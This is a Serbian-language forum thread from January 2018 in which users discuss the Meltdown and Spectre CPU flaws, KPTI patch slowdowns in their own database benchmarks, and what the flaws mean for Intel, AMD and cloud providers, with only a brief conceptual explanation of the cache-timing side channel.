[ Branimir Maksimovic @ 02.01.2018. 03:47 ] @
http://pythonsweetness.tumblr....s-case-of-the-linux-page-table

"
tl;dr: there is presently an embargoed security bug impacting apparently all contemporary CPU architectures that implement virtual memory, requiring hardware changes to fully resolve. Urgent development of a software mitigation is being done in the open and recently landed in the Linux kernel, and a similar mitigation began appearing in NT kernels in November. In the worst case the software fix causes huge slowdowns in typical workloads. There are hints the attack impacts common virtualization environments including Amazon EC2 and Google Compute Engine, and additional hints the exact attack may involve a new variant of Rowhammer.
"
[ nkrgovic @ 02.01.2018. 21:02 ] @
Je'l ovo KPTI Vulnerability prica? Ako jeste, ja sam je video negde drugde i jezivo je zanimljiva.... Neki Bug u Intel implementaciji Translation Look-Aside Buffera, na hardverskom nivou, koliko sam shvatio, ne razumem hardver u dovoljno detalja. Kapiram da je, teoretski moguce da bilo koji proces cita bilo koji fizicki segment RAM-a, bez obzira na to ciji je... sto je zesci haos. Novi rowhammer je u najavi, ali ako je ovo to moze da bude i mnogo gore - bukvalno moze da zavrsi kao heartbleed, ali za VM-ove....

Mi sto teramo sve bitno na privatnim masinama nemamo neki veliki problem, ovo je exploitable samo za mallicious VM's, ali opet je problem za izolaciju ako neki VM bude kompromitovan. Cloud provider-ima ne bi bio u kozi, ako je ovo ono sto ja mislim da jeste.....

P.S.

https://www.theregister.co.uk/2018/01/02/intel_cpu_design_flaw/

[Ovu poruku je menjao nkrgovic dana 02.01.2018. u 22:18 GMT+1]
[ bojan_bozovic @ 03.01.2018. 08:46 ] @
Zasto? Moze se preci na AMD serverske procesore ili IBM Power servere. To sve tera Linux. Pre ce biti da ce Intel management da ispasta, ako ovo znacajno ugrozi bottom-line. Cloud provideri su bezbedni, samo ce dvaput da promisle hoce li za svoj datacenter ("cloud") da koriste Intel i sledeci put.
[ Branimir Maksimovic @ 03.01.2018. 08:52 ] @
Ne znam o detaljima ovoga konkretno, ali ovo je jos jedna primena rowhammera za kojeg nema leka za non-ecc memorije.... u svakom slucaju zasniva se na tome da se provali na kojoj adresi su kernel servisi i tu se tuce rowhammer...
[ nkrgovic @ 03.01.2018. 08:58 ] @
@Bane: Ako sam ja dobro shvatio, ovo nije SAMO rowhammer. Ovo bi, uz proper exploit, trebalo da ti "omoguci" da citas bilo koji fizicki segment memorije. Ako jesam, onda to nije samo rowhammer, onda mozes da citas RAM bilo koje druge aplikacije, ili VM-a. Ako je samo rowhammer, onda je to jos i OK, ali mogucnost da uradis DoS svake velike masine na kojoj imas neki tiny VM nije slatka. BTW, DDR3 ECC nije potpuno otporan na rowhammer, koliko sam ja nacuo....

@Bojan: Ako mozes da citas RAM druge aplikacije cloud provideri nisu bezbedni. Stavise, jako su nebezbedni. Cak i ako je "samo" rowhammer attack, imas problem. A to da "mozes da predjes na AMD ili IBM Power", ajde zamisli da imas par hiljada servera i da ces da "predjes". Nije dan posla, nije ni par dana. Mnogo je. A amazon ima BRDO servera..... I da, na zalost, IBM Power ne tera stvari koje imaju x64 blobs, a kojih ima.... AMD je OK, ali opet, do skora nije postojao, i sad se nabavlja u ogranicenim kolicinama, nemas da kupis AMD od velikih vendora koji nude 365/4h ili bolje.... Uglavnom, nije uopste prosto.
[ Branimir Maksimovic @ 03.01.2018. 09:05 ] @
nikola rece:"Ako sam ja dobro shvatio, ovo nije SAMO rowhammer. Ovo bi, uz proper exploit, trebalo da ti "omoguci" da citas bilo koji fizicki segment memorije."

Nisam siguran da tu mozes nesto vise od rusenja hypervisora ;)
Cela fora je da zahvaljujuci bug-u moze da se provali gde je kernel mapiran, koliko sam shvatio.
[ bojan_bozovic @ 03.01.2018. 09:31 ] @
@nkrgovic

Ako nije moguc mitigation sa SW strane, cemu uopste patchevi za Linux (a koliko vidim i za Windows su u pripremi)?

Citat:
These kernel updates have provided a workaround that can prevent attackers from exploiting the bug, but the problem is that doing so comes at a heavy cost. In technical terms, the fix involves using Kernel Page-Table Isolation or PTI to restrict processes so they can only access their own memory area. However, PTI also affects low-level features in the hardware, resulting in a performance hit of up to 35 percent for older Intel processors.


sa https://siliconangle.com/blog/...ix-imposes-35-performance-hit/

Dakle tridesetak posto sporije, i to je sve, mada i dovoljan razlog da se ubuduce ne koriste Intel procesori vec alternative. Ja sam siguran da cloud provideri poput MS, Amazona i IBM vec imaju sve patchovano.
[ nkrgovic @ 03.01.2018. 09:54 ] @
Ne, moguc je mitigation sa SW strane, ali ima performance penalty, jer moras deo stvari koje treba da radi hardver da radis u softveru. Ne znam da li je moguce nesto osim rusenja, ali i ako nije - nije ni to malo....

Inace, dobih od drugara, mozda je i nepovezana vest:

https://www.fool.com/investing...-just-sold-a-lot-of-stock.aspx
[ Branimir Maksimovic @ 03.01.2018. 10:06 ] @
Cela fora je da se sakrije kernel od userlanda. To kosta zato sto onda ne mozes direktno iz svoje virtuelne memorije da pozivas kernel rutine ;)
U svakom slucaju ovaj problem ce uzrokovati promene koje ce uticati na sam dizajn kernela ubuduce.

edit:
sto se tice prodaja deonica, da mozda on zna nesto sto mi ne znamo?
[ Zlatni_bg @ 03.01.2018. 13:59 ] @
Pa Zen refresh stize pre nove Intelove serije, kako je bilo prosli put, i ovaj put ima AMD da gazi po "bogatima", prosli put su AMDu skocile akcije sa 2$ na 15-16$. Ja pricao svima da kupuju akcije AMDa nekih 7-8 meseci pre izlaska Ryzena ali niko nece da slusa :)

Verovatno to sve ima kontraefekat na Intelove akcije.
[ brainbuger @ 03.01.2018. 15:28 ] @
AMD akcije su vec skocile oko 7% :-)
[ scoolptor @ 03.01.2018. 20:25 ] @
Vec peru ruke.
LINK
[ Zlatni_bg @ 03.01.2018. 20:56 ] @
Citat:
brainbuger:
AMD akcije su vec skocile oko 7% :-)


I onda sve akcije na prodaju istog dana kad se proizvod lansira, isteknu NDA i krenu reviewovi, jer isti dan pada sve a i rizik postaje ogroman :)
[ dejanet @ 03.01.2018. 21:34 ] @
Citam i ne verujem, da ce posle "update-a" da srokaju performanse za 5-30% Intel CPU-ova u zadnjih 5-10 godina.
Koliko sam razumeo ovde nije rec samo o bug-u, vec je problem koncepta/dizajna.
[ Branimir Maksimovic @ 03.01.2018. 22:06 ] @
Samo da kazem, kad je ovo vec in the open, treba *dobro* paziti sta downloadujete sa interneta i pokrecete na svojoj masini. Kad moze da srusi hypervisora iz virtualke sta tek nece na bare metal kernelu ;)
[ Branimir Maksimovic @ 04.01.2018. 00:17 ] @
Inace ovaj papir objasnjava kako se radi detaljno:

https://googleprojectzero.blog...ivileged-memory-with-side.html
[ Zlatni_bg @ 04.01.2018. 01:07 ] @
A kako ce se "patchovati" ovo sve? Kroz OS apdejte, pa izmena celog kernela, i na linuxu i na win? Je l' odradio neko detaljnije analize na to usporavanje za "do 30%"?

Ako ovo sve ispadne bas kako pise, IPC ima da im padne na nivo FX procesora koji su toliko pljuvali... ako se radi o svakom workloadu. Fakticki, znacilo bi da ih je Zen zestoko presisao vec u svom prvom izdanju.

Ono sto je drugo pitanje je, kako je proslo 10 godina a bag je tek sad otkriven? Je l' intel vatao krivine zarad boljih performansi?

Trenutno s obzirom da sam na AMDu nisam zabrinut, ali buduci sistem, Bane zna, sam planirao da ide na Coffee lake u neko dogledno vreme... ako je ovo istina i srozaju IPC za 30%, slobodno mogu da uzmem i Ryzen ili drugu generaciju istog, a Intel polako moze da spusta cene na pola i da se zamene pozicije tek drugi put otkako je pocelo rivalstvo, prvi put u zadnjih 10 godina.

Al' iskreno me najvise zanima da li je ovo sve bilo planski radjeno da se nikad ne sazna i da intel na foru progura svoje performanse. Nisam mnogo citao o ovome dok niste spomenuli drastican pad performansi.
[ Zlatni_bg @ 04.01.2018. 01:22 ] @
Evo par testova...

https://www.phoronix.com/scan....tem=linux-415-x86pti&num=2
[ Branimir Maksimovic @ 04.01.2018. 01:27 ] @
Nece se znati dok ne probas kernel 4.14.11 +, i ovaj novi Windows build na Intelu... ne smanjuje se IPC, nego se izoluje kernel od userspace-a, tako da svaki syscall mora da radi context switch, tj da se presaltuju page tabele na kernel i nazad.
imas nesto o tome ovde:
https://en.wikipedia.org/wiki/Kernel_page-table_isolation
[ Zlatni_bg @ 04.01.2018. 01:34 ] @
Ma vrh... prvo forsiraju "spasavanje" samo desetke, koju nema sanse da cu da instaliram, a za 8.1 ko zna kad ce i da li ce izaci patch... a sto se linuxa tice, ne pamtim da sam ikad imao potrebu da kompajliram novi kernel ili koristim bilo koji drugi od onog uz koji je distro dosao... sreca pa mi je i kucni server na AMDu, a i dva koja imam van zemlje - 'biga, bilo jeftinije.

Bilo kako bilo, skontao sam sad vise o cemu se radi, generalno aplikacije koje pricaju sa kernelom imaju najveci problem, ostale ne toliko. Iz ovih testova se vidi da igre nisu gotovo uopste ostecene (a i sto bi) a intel prodaju ce ovo kostati onoliko koliko zvucno bude. Trenutno "se prica po internetu" o ovome ali daleko ispod mere u kojoj bi trebalo. Evo vidim da ce svi AWS-ovi i Azure virtualke na restart uskoro... farme servera ce biti odusevljene ovim :) Sad cemo da vidimo jos jedan skok cena svih cloud servisa, gomilu jeftinih xeona na alibabi i ko zna sta jos... iskreno i neka si mi pricao da se fokusiram na Ryzen, kao i mnogi drugi, a ne da finansiram monopoliste. Prava slika ce se videti tek kroz mesec dana, nazalost najvise u zavisnosti od toga koliko ljudi prihvate da "intel vise nije kao sto je bio".
[ Branimir Maksimovic @ 04.01.2018. 02:31 ] @
A evo detalja i o spectre napadu koji izgleda prolazi kod svih out of order arhitektura.

https://spectreattack.com/spectre.pdf
[ nkrgovic @ 04.01.2018. 06:27 ] @
Citat:
Branimir Maksimovic:
Inace ovaj papir objasnjava kako se radi detaljno:

https://googleprojectzero.blog...ivileged-memory-with-side.html

Znaci ipak je READING with side channel, nije samo rowhammer. Cushty sto bi rek'o Del Boy. Vidim i AMD su naboli i ARM. Ostaje IBM Power kao "mozda bezbedan", bas fino....
[ Space Beer @ 04.01.2018. 09:06 ] @
Dobra tema na AT-u
https://forums.anandtech.com/t...ole-in-xeons-incoming.2532563/

Ovo je postalo zanimljivije od španske serije :D Odoh da nađem stari Casio digitron. To će mi biti računar u narednom periodu :d
[ Zlatni_bg @ 04.01.2018. 15:04 ] @
Progurace na AMD-u al juce...! Vec su isforsirali insecure flag za AMD ali je commitovano i prihvaceno u gitu da je AMD ispravio s obzirom da nema mogucnosti da bude meta napada. Hoce da povuku i druge sa sobom inace su pukli ko piksla.
[ Zlatni_bg @ 04.01.2018. 18:12 ] @
[ nkrgovic @ 04.01.2018. 21:45 ] @
http://www.amd.com/en/corporate/speculative-execution

Ocigledno je da bar jedna varijanta radi na AMD-u, Bounds Check Bypass. Negligible performance impact expected je komentar, ali opet - to svi kazu. Ono sto je jos zanimljivo je da za Branch Target Injection ne kazu da "ne radi", vec da "nisu uspeli da verifikuju". Vrlo zanimljiv izbor reci....

Prilicno sam siguran da novi Sparc ima resenje za ovo kroz encrypted memory, cak i da je affected. Za IBM Power nemam pojma i dalje, ali opet to je sve, kao i ARM, ezoterija u serverima. Ovo ce da bude veselo....

P.S. Dobih ovo:

https://wiki.hetzner.de/index.php/Spectre_and_Meltdown/en
[ Zlatni_bg @ 05.01.2018. 01:38 ] @
Mene najvise zanima da li ce Intel u sledecoj generaciji implementirati hardversko resenje ovog baga. Ice lake (valjda je to naziv) je najavljen za Q1 ove godine.

Za sad je GOMILA informacija po netu, guru3d cak odradio testove gde 5690X nema nikakvog pada performansi sa patchom, cak negde ima poboljsanja u performansama... a drugi na x86 linuxu do 30% gubitaka u perf... trebace malo vremena da se sve ovo pocisti.
[ Branimir Maksimovic @ 05.01.2018. 02:17 ] @
" Ice lake (valjda je to naziv) je najavljen za Q1 ove godine."

Ma jok. Ice Lake ce u 2019. Pitanje je dal ce i Cannon Lake izaci ove godine...


edit:
dmesg | grep -i isolation
[ 0.000000] Kernel/User page tables isolation: enabled

i ne mogu da primetim nikakvu razliku...

[Ovu poruku je menjao Branimir Maksimovic dana 05.01.2018. u 04:13 GMT+1]
[ Branimir Maksimovic @ 05.01.2018. 11:27 ] @
Ali zato izgleda da su i postgres i mysql dobili tezak performance hit, bar ovde kod mene. Recimo citanje iz baze je palo na 1600tps a pre je bilo kolko se secam negde 4500tps. Citanje/pisanje je palo na 44tps a bilo je oko 60 i kusur kolko se secam...
E sad da nisam lenj ja bih rebootovao sa tpi off, ali ovo sa citanjem je 100% sigurno da je drasticno palo ;(

Zapravo bez pti
mysql je pao sa 2400tps na 160tps, a read/write sa 80tps na 44tps (ovo je izgleda iz cache)
a postrges zapravo duplo brzi ;)
znaci sa pti on postgres 44, sa off samo 20.
nemam samo read test za postgres, evo sa pti off je 65tps (samo select ovo je izgleda sa diska)
edit 2: sa pti on,51 za postgres , ali ovo 44 za psotgres je bila greska zapravo je tu negde 20tps i sa off i sa on za read/write.

Znaci postgres je pretrpeo manji hit, mada mysql ocigledno ovaj bench sto imam radi iz cache pa zato je razlika veca.


[Ovu poruku je menjao Branimir Maksimovic dana 05.01.2018. u 12:52 GMT+1]

[Ovu poruku je menjao Branimir Maksimovic dana 05.01.2018. u 13:03 GMT+1]
[ nkrgovic @ 05.01.2018. 13:21 ] @
Ako utice na usermode-kernelmode performanse ocekujem da napravi belaj po pitanju conext switchinga za mrezne karte.... Trenutno sam JAKO srecan prelaskom na OpenVSwitch i DPDK, a jos srecniji sto mi je virtuelizacija samo za internu upotrebu.....

Ne smem da mislim kako je internet provajderima koji imaju "cloud" hosting. AWS, Google, Azure imaju brdo ljudi i resurse da uspu u resavanje ovoga, verovatno i RackSpace npr. - ali kako li je nekome tipa SBB/EUNet, ili tako neko.... ne bi im bio u kozi.

Ne oglasava se VM Ware, to mi je cudno isto. Ocekujem da i njima treba pecovanje, jeste ESXi u sustini Linux based, ali kod njih nema "e, yum update", ili "e, upgrad kernel"... njima je sigurno isto cirkus.
[ Branimir Maksimovic @ 05.01.2018. 13:40 ] @
Mislim da je pre svega ovo ozbiljan propust u dizajnu modernih procesora, i da jedino sto moze sad da se uradi je da se nalazi workaround, na koji ide workaround itd... pravo resenje je zapravo u tome da se uspore procesori, tj da to cachiranje ne bude toliko efikasno
pa da curi informacije ;)
Medjutim samo 20 godina je trebalo da neko otkrije ovaj propust ...
Sto se tice ovoga, jedino se vidi usporenje na bazama kod mene, za sada. sve ostalo radi isto. Nisam probao kompajliranje ali tu isto ne ocekujem neku razliku posto to nema puno sysacall-ova. Sto se tice mreznih tu ima dosta interrupt-a pa moze da se desi
da se primeti na vecim brzinama mreza. Ja imam samo 60mbit download pa ne vidim razliku ;p
[ bojan_bozovic @ 05.01.2018. 13:59 ] @
@Branimir Maksimovic

Resenje je prosto, ne raditi out of order execution (i ima procesora koji to ne rade kao https://riscv.org/2018/01/more-secure-world-risc-v-isa/ )
[ Branimir Maksimovic @ 05.01.2018. 14:09 ] @
Ma ima i jednostavnijih resenja, da se splituje cache, pa da se posebno smesta za spekulativno izvrsavanje, a posebno za one instrukcije koje treba izvrsiti, to mi prvo padne napamet. Medjutim mozgovi su sada upregnuti da se ovo brzo resi sa najmanje troskova ;)
Ne sumnjam da ce sledece revizije procesora naprasno biti imune na ovaj propust, zato i imas opciju da iskljucis pti sa komandne linije ;)
U svakom slucaju neko na ovome moze lepo da profitira...
[ Branimir Maksimovic @ 05.01.2018. 14:34 ] @
A sad prosto objasnjenje fazona. Sve se svodi na to da se natera procesor da smesti u cache bajt iz memorije kojoj nemate pristupa i sa njime adresirate element u nizu od 256 elemenata. Dobicete segfault i u segfault handleru merite vreme potrebno da se pristupi pojedinim
elementima niza. Index onog elementa kome se vreme potrebno da se procita u registar razlikuje od ostalih elemenata je upravo bajt koji niste smeli da procitate ;p
Znaci postoje varijacije na temu ali sustina je u ovome ;)
[ Zlatni_bg @ 05.01.2018. 16:51 ] @
Ja na AMDu patchovao sve sto su izbacili za osmicu, nema nikakvog pada performansi, cak smo na overclock.netu ja i par ljudi dobili (verovatno je bag) nesto bolje performanse.

Inteli sa manje jezgara i starijih gen. su isto dobili drasticniji pad performansi, cak je i SATA SSD usporio za 20ak %.

Fora je sto jos nije sve patchovano, neke stvari ce preko microcodea morati i jos gledaju sta ce s tim.

A na svim AWS EC2 koje imam sam nabacio novi kernel, RHEL7 je, ostalo je na amazonu. Ne znam za kad je najavljen novi kernel ali verovatno ce tek tad doci do drugih promena. Takodje, potrebno je patchovati browsere, i bilo bi dobro da su "noscript" trenutno.

E sad, da li ce AWS/Azure progutati knedlu i ostaviti stare cene, ili napraviti jos farmi, i podici cene za 30%... videcemo. Imam i RDS kod njih za MariaDB, mislim da ce da placu za svakim RDSom koji trenutno imaju. Vidim da imam i jaci CPU load na RDSovima iz nekog razloga...

Bukvalno je za Intel sve od Haswella na ovamo spalo na nivo Haswella s obzirom na clock poboljsanja koja su ubacili :) Videcemo.. mislim da ce za pocetak da leme IHS umesto stavljanja paste :)
[ nkrgovic @ 06.01.2018. 13:45 ] @
More fun:

https://www.theregister.co.uk/...ssor_security_vulnerabilities/

takodje:

https://www.theregister.co.uk/2018/01/06/amd_cpu_psp_flaw/

2018-ta, godina busnih procesora..... Cekamo IBM da vidimo na sta lici, Sparc je skoro sigurno bar delimicno imun na ovo, zbog silicon secured memory extensions + memory encryption, ali Oracle je u svojoj mudrosti otpisao skoro ceo Sparc tim prosle godine.... :/
[ mjanjic @ 06.01.2018. 20:12 ] @
Pa nije to ništa čudno, u trci za kojim procentom performansi uradili su maltene isto što je uradio i VW kako bi dobio koji procenat snage u odnosu na konkurenciju. Samo su mislili da neće biti štetnih posledica, a stvarno ne verujem da niko nije pomislio kako bi to moglo da se zloupotrebi.
Novi procesori se izbacuju toliko često da i nema vremena kako bi ispitali eventualno propuste i mogućnosti zloupotrebe pojedinih "naprednih" mogućnosti.
Slično je, na žalost, i sa softverom, važnije je što pre izbaciti novu verziju nego da softver bude bez propusta i problema u performansama.
[ Branimir Maksimovic @ 07.01.2018. 01:00 ] @
Heh sa ovim novim patche-om firefox merenje vremena radi kljakavo da ne bi mogao da se eskploatise flaw iz java scripta ;)
Cela poenta je da ce morati da uspore procesore da bi ovo resili ili da dizejbluju rdtsc ili okljakave tu instrukciju ;)
[ nkrgovic @ 07.01.2018. 05:52 ] @
[ nkrgovic @ 08.01.2018. 10:14 ] @
Fino objasnjenje:

https://ds9a.nl/articles/posts/spectre-meltdown/

i zanimljiva ideja, na zalost ne deluje da ce uspeti - ali zanimljiva:

http://www.zdnet.com/article/w...on-open-source-chips-meltdown/
[ bojan_bozovic @ 08.01.2018. 10:50 ] @
ZDNET clanak je pretenciozan kao da ga je Stallman pisao. Ima GPL procesora (tipican primer je OpenSPARC T1, koji je GPL). Hajd'mo svi sad na taj deset godina star procesor, da li bi to znacilo resen problem? Ne! Nije problem GPL vs. proprietary, vec verifikacija dizajna, ako je uopste moguca s obzirom na kompleksnost danasnjih procesora za desktop, server i smartphone. Nisam strucan za te stvari, ali mi je poznato da NASA i ESA (a i Rusi) jos uvek koriste 32-bitne procesore koji su verifikovani i "radiation hardened".
[ Space Beer @ 08.01.2018. 13:35 ] @
Koji će im đavo išta bolje kad im treba samo da izračuna koordinate? Neće valjda igrati Crysis :D

A na teskt nemam šta da kažem. Ne znam zašto mnogi misle da samo zato što je nešto otvoreno, manje su šanse da bude bušno. Valjda to zavisi jedino od ljudi koji rade na tom proizvodu/programu. Razumem zabrinutost za privatnost (telemetrija, backdoor i sl) ali to nije isto i ne može se rešiti istom metodom. Prilično sam siguran da kada bi Intel, AMD, IBM i ARM radili zajedno na nekom novom procesoru, da bi imao manje rupa nego neki "otvoreni" na kom bi radio ostatak sveta.
[ bojan_bozovic @ 08.01.2018. 14:11 ] @
Mene manje zanima Crysis a vise cinjenica da mi je Intel prodao (preko proizvodjaca laptopa) ranjiv procesor, ne samo zbog Meltdown i Spectre napada, vec i zbog ranjivosti u Intel ME.
[ Space Beer @ 08.01.2018. 15:19 ] @
Ako misliš da su namerno prodavali bušan procesor, onda imaš odličnu priliku da im vratiš za to tako što više nikada nećeš kupiti njihov proizvod. Ti i milioni onih koji isto tako misle. Ne postoji veća kazna za bilo koju kompaniju nego da ostane bez (skoro) svih svojih kupaca, jer će, jelte bankrotirati ubrzo. A još ako je laptop u pitanju, tu je krivica na proizvođaču laptopa, jer su oni namernu ubacili lošu komponentu, tj. nisu dovoljno istestirali procesor.

Ne razumem čemu tolika buka. Zakrpiće rupu i svi srećni, svi zadovoljni. I dalje češ imati npr. 4 jezgra i takt od 3.5 GHz. To su ti prodali, to su ti i isporučili :D Ok, možda Amazon i MS mogu da se "biju" sa Intelom, ali ti ako ne možeš da dokažeš da si pretrpeo štetu zbog ovoga, a obični korisnici ne mogu, onda mrka kapa.
[ Hltman @ 08.01.2018. 19:04 ] @
[ nkrgovic @ 08.01.2018. 19:06 ] @
@bojan: To je i do proizvodjaca laptopa. Proizvodjac moze sa "neuprzenim" procesorom da disable-uje ME, hardverski - ako dobije primerak koji kupuju OEM-ovi. Pogledaj purism laptopove.

Meltdown i Spectre nema smao Intel vec i AMD i svaki ARM za pocetak. To je posledica lenjosti i ustede....

Sto se tice "Open Source procesora", ja sam prosledio jer sam procitao na feed-u Peter-a Zaitsev-a, koga cenim kao pametnog coveka. Ne kazem da je izvodljivo, ali jeste pomalo zanimljiva ideja....
[ Zlatni_bg @ 09.01.2018. 00:40 ] @
Meltdown ne prolazi na AMDu, samo Spectre u nekoj meri. I dalje nije dokazano suprotno.
[ Branimir Maksimovic @ 09.01.2018. 02:49 ] @
Evo benchmarka novih retpoline patceva za gcc i kernel koji bi trebalo da stite kernel od spectre napada:

https://www.phoronix.com/scan....retpoline-benchmarks&num=1

PS
E sad ne znam dal cemo morati sve programe koje imamo da rekompajliramo sa novim gcc-om ;)
[ bojan_bozovic @ 09.01.2018. 03:06 ] @
@nkrgovic

Problem sa opensource procesorima ne postoji (ako uz core ide i patent grant, ili je licenca takva da sprecava muvanje sa patentima, kakva je GPL3 ili Apache2). Mislim da ima i x86 jezgara koje mozes da stavis na FPGA, samo je pitanje koliko je trziste spremno da prihvati performanse nekog P3 ili P4 sa pocetka ovog veka. Problem je kada treba to sa FPGA staviti u neki moderni proces, ako bas nisi siguran da si bolji od AMD embedded APU i Intel Atoma, nemas sta da trazis. To ne moze Stallman sa nekim programerima koji u svoje slobodno vreme nesto malo programiraju za X godina, jer treba para.

Kupci nece bezbedniji Intel Atom, hoce da igraju najnoviji Crysis, zato je moja opaska bila na mestu.
[ Branimir Maksimovic @ 09.01.2018. 03:14 ] @
Pa ima RiscV koji je open source. Svi to mogu da prave...
[ Zlatni_bg @ 09.01.2018. 03:41 ] @
Ljudi malo treba da se smire za pocetak oko svega ovoga sto se desava. Ni proizvodjaci CPUa ni programeri OSova nemaju i dalje *potpunu* predstavu sta je najbolja opcija. Za sad ce se stvari resavati softverski jer jelte nema sanse da se povuku svi CPUovi + laptopovi proizvedeni u zadnjih 15 godina, a naredno 99% hardverski. Koliko sam skapirao na osnovu cele price, propust jeste znacajan, ali na tom nivou na kom je, lako se da i srediti u sledecim generacijama HWa.

Znaci za sad je resenje usporavanje performansi, videcemo, mozda se nesto promeni. Ipak je ovaj propust zahtevao instant resenje jer je baziran na CPU/OS nivou sto trenutno nije cesta pojava, pa su zbrda zdola morali isti dan da krpe sve rupe, a i nova godina je bila i sve. Buducnost verovatno nosi nesto bolje.

Druga stvar, NIKO ne ostavlja namerno rupe u softveru/arhitekturi/cemugod osim ako nije nemaran ili nije primoran. Okej, NSA trazi backdoor, dace im ga. Iskreno, je*e mi se sta NSA hoce i sta ce da rade s mojim podacima. Sumnjam da sam im na listi zanimljivih, nek se igraju sa onim sto nadju ako zele slobodno.

E sad, treca stvar, i verovatno najbitnija - ako izuzmemo AWS i Azure koji ce najvise patiti zbog svega ovoga, ostaju nam krajnji korisnici. Svi kukaju oko pada performansi, oko toga kako je nesto nepopravljivo, kako moraju da poskidaju gomilu patcheva za sve zivo... i sta urade posle toga? Otvore TPB i neke xyz xxx sajtove da se zabave. I onda pricamo o sigurnosti krajnjih korisnika od kojih 80% ne zna da se zastiti od osnovnih stvari na internetu? Pa meltdown moze da se spreci i na aplikacijskom nivou, ne mora na nivou OS/kernela, ali naravno kome se obratiti ako je hitno? MS i linux zajednici... A jos nema slucajeva probijanja pored testiranja, dok 50% korisnika interneta ima bar neki vid malwarea na svom racunaru.

Nisu ovi apdejti izasli zbog privatnih korisnika (bar ne zbog njihovog pritiska) - izasli su najvise zbog velikih firmi i da bi se Intel zastitio sto je vise moguce jer su partneri sa svima a linux zajednica funkcionise tako kako funkcionise, ni oni sami oko nekih stvari ne mogu da se dogovore. Forkovi forkovanih forkova...

Da se ne lazemo, i spectre i meltdown moraju na neki nacin da nadju put do kernela. A ne vidim da je taj put ista drugaciji od onog kako ostali tim loseg softvera dolazi do korisnickih racunara.

Ovde je najveci problem izolacija virtualnih masina.

Daleko od toga da mislim da je ovo mala stvar, ali da se ne lazemo, propusta ima na svakom cosku. Stara dobra izreka... programi se dele na one sa propustima i one na kojima isti jos nisu otkriveni.
[ Branimir Maksimovic @ 09.01.2018. 04:09 ] @
Morace da smanje efikasnost cache memorije, sto ce dovesti do toga da sledece generacije budu sporije od prethodnih. Softverski workaroundi ce ostati jos dugo, zato sto jako malo ljudi bas kupuje nove procesore ovih dana... sto se tice obicnog korisnika, nije veliki problem, veci je kod servera zato sto baze rade sporije... na desktopu se ne oseca toliko koliko na serveru.,,
[ Zlatni_bg @ 09.01.2018. 04:33 ] @
Istina, ali bas o tome se radi. Sto gledam po forumima kako decica koja gleda da kupi Hyper 212 Evo i klokuje ga na 90C sa 2600K i skida igrice sa TPB kuka oko pada performansi, a uz sve te igrice ko zna sta se sve instaliralo. Najednom je sigurnost bitna... I ove domace vesti isto sire paniku k'o blesave. Okej, sve je super, exploit postoji, ali daleko od toga da pravi vise stete nego postojeci malware. Onda pricaju kako su potrosili 3000RSD da bi dobili tih 30% vise performansi... a u najgorem slucaju se pokazalo da je 30%, tipa PUBG serveri, bas jak rad sa DBS, uglavnom je oko 5-7%.

Za servere sam odvojeno pisao jer nema logike spajati te 2 stvari. Onaj ko ima server se vise i razume u racunare te ce od samog starta voditi racuna o sigurnosti na svim uredjajima. Sad, sto se tice sigurnosti, sta znam. Ako su dedicated serveri mozda i moze da prodje intel bez patchovanja. Ali VPSovi, cloud servisi i ostalo nikako. I dalje ne znamo kako sve moze da se izvrsi meltdown na racunaru. Navodno najlaksi nacin preko otvaranja stranice sa JS kodom... onaj ko drzi server nece sigurno browsovati preko istog, jedino na nivou LynXa :)
[ Branimir Maksimovic @ 09.01.2018. 04:37 ] @
"Ali VPSovi, cloud servisi i ostalo nikako"

Da, u tome je problem. Sto se tice igara neka majnuju za njih ;)
TPB je imao majning skriptu koju je pustao na svaki racunar koji je tamo pristupio, ne znam dal je jos ;p
[ bojan_bozovic @ 09.01.2018. 04:42 ] @
@zlatni_bg

Ima tu i AMD botova i placenih tekstova, ja sam siguran. AMD Ryzen je tu, po performansama gde i i7, i odjednom ce biti "bezbednije" i "bolje" resenje za mase koje to uparuju sa GTX 1080/TITAN Xp.

[ Branimir Maksimovic @ 09.01.2018. 04:48 ] @
AMD ce svakako biti primamljivije resenje za servere, sa obzirom da nije ranjiv na meltdown. Sto se desktop-a tice, mislim, da to sto intel radi na vecim frekvnecijama, ide njima u prilog, te je pitanje dal ce kod igraca AMD imati prodju...
[ Zlatni_bg @ 09.01.2018. 05:09 ] @
Trenutno zestoko pratim performanse svega i svacega jer zelim da se "smirim" jedno 5 godina. Da se ne lazemo, svima nama koji se ne bavimo renderingom (koliko bre ljudi na sveto to radi? koga god pitas sta ce ti to, svi umesto igrica kazu "za rendering") su sasvim zadovoljavajuce masine sa 4 jezgra i eventualnim HT. Dakle i5 vs i7, clockovan na 4GHz+. Eto meni na FX8370E @ 4.75GHz nista ne fali, a po poredjenju sa Intel lap topom koji imam, mojih 4.75GHz na FXu je otprilike 3.2-3.3GHz na trecoj generaciji novih intela. Jedino sto imam 8 jezgara.

E a sto Bane kaze da ce AMD imati bolju prodju, ima je i sada, gledam brda ljudi koji prelaze na Ryzen (stranci) zbog toga sto na 1440p i 4K glavni problem postaje graficka karta. Do GTX1080/Ti nijedna nije mogla da gura nove igre na 60FPS kako treba, procesor nije bio ogranicavajuci faktor. Uvek ce biti lose optimizovanih igara koje ce bolje raditi na Intelu ali granica se zestoko smanjuje, jedini problem je kod nas standardni, 1080p gejming, mada i Ryzen 5 (1600/1600x) sasvim lepo gura igre klokovan na 3.8GHz+.

Tuzno u celoj prici je sto je pad performansi na Intelu sa patchevima u igrama ili nemerljiv ili zanemarljiv, ali to nije bitno, prica se prosirila i u glavi je samo tih 30%.

Ja sam od ove cele situacije ponovo radio kalkulaciju s obzirom da sam hteo da uzimam Coffee lake o kom pricam ovde vec nedeljama, i gledam da duplo jeftinije prolazim sa najjacom plocom za AM4 i 1600X nego sa Coffee lake-om. S obzirom na fiasko... taman cu da sacekam Ryzen 2 (refresh je u pitanju) koji izlazi u martu i da vidim sta su uradili. Ako su uspeli da dignu max clock na 4.2-4.3GHz, kupili su me. Trziste ce biti uzdrmano, evo gledam da je i u Giga**** pala cena 8700K na minimalnu u zemlji a nisu bas poznati po niskim cenama. Da li je zbog ovoga sto se desava, nemam pojma...

Jedini savet sa moje strane - krpite se koliko i ako morate i ne kupujte nov racunar u naredna 3-4 meseca dok se sve ne smiri. Ni AMD nece dizati cene jer ih je zahvatio Spectre.
[ nkrgovic @ 09.01.2018. 06:24 ] @
